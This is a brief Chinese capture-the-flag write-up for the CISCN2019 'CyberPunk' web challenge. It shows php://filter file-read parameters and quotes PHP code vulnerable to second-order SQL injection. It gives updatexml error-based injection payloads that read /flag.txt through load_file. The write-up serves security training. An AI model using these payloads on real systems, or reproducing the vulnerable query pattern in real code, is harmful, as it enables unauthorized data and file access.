[CISCN2019 华北赛区 Day1 Web5]CyberPunk
php伪协议读文件
file=php://filter/read=convert.base64-encode/resource=delete.php
file=php://filter/read=convert.base64-encode/resource=change.php
二次注入
change.php
过滤不严密的代码
$address = addslashes($_POST["address"]);
二次注入代码段
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
}
update
userset
address='".$address."',
old_address='".$row['address']."' where
user_id=".$row['user_id'];
$row['address']是可以注入的,只不过需要二次注入。
由于update语句是没有回显的,所以可以尝试报错注入。
payload
updatexml只能回显32个字符
第一部分
1' where user_id=updatexml(1,concat('~',(select load_file('/flag.txt'))),1) #
第二部分
1' where user_id=updatexml(1,concat('~',substr((select load_file('/flag.txt')),30,50)),1) #